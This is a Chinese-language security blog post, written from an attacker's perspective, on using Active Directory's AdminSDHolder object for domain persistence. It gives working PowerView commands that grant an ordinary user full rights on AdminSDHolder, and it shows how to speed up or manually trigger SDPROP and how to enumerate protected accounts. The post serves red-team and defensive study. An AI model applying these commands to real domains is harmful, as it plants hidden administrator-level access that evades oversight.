技術分享 | 域滲透AdminSDHolder

廣州錦行科技發表於2021-03-11


AdminSDHolder是一個特殊的AD容器,通常作為某些特權組成員的物件的安全模板。Active Directory將採用AdminSDHolder物件的ACL並定期將其應用於所有受保護的AD賬戶和組,以防止意外和無意的修改並確保對這些物件的訪問是安全的。

本文由錦行科技的安全研究團隊提供,旨在從攻擊者的視角還原AdminSDHolder的滲透過程。

圖片


一、配置


1、新增:

在域控上操作AdminSDHolder物件的ACL

新增使用者test對AdminSDHolder的完全訪問許可權

powerview:

Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity test -Rights All

圖片

*由於SDPROP的原因,預設等待60分鐘之後生效



2、驗證:

Powerview:

Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match "S-1-5-21-363618500-3918876104-3124729890-1139"} | select objectdn,ActiveDirectoryRights |sort -Unique

圖片


ADSI:

圖片



3、刪除:

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com" -PrincipalIdentity test -Rights All -Verbose

圖片




  二、SDPROP

為了將可繼承ACE的更改傳播到後代物件,域控制器執行一個稱為安全描述符傳播器(SDPROP)的後臺任務。透過修改物件的安全描述符或移動物件時觸發此任務。當修改了AdminSDHolder的ACL之後預設等待60分鐘以後生效,原理是SDPROP程式在PDC模擬器上每60分鐘執行一次,並使用AdminSDHolder設定的安全許可權重新標記ACL。


1、登錄檔SDPROP運營頻率: 

修改成等待60秒

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60


2、手動觸發SDPROP程式: 

執行->LDP.exe->選單>連線->連線->伺服器輸入當前的機器名,埠預設為389

然後連線->繫結憑證->作為當前登入的使用者繫結->然後瀏覽->修改,在屬性選項卡中輸入FixUpInheritance。在值欄位中輸入Yes。操作選擇新增,然後單擊輸入,最後執行即可,執行。

圖片


三、利用場景


已經獲得域控許可權,利用AdminSDHolder來進行許可權維持,或者尋找受保護AD賬戶為目標。


列舉受保護AD賬戶

Get-NetUser -AdminCount |select samaccountname

圖片


登入test使用者,可以看到test非域管組,卻能執行域管許可權的命令。

圖片



相關文章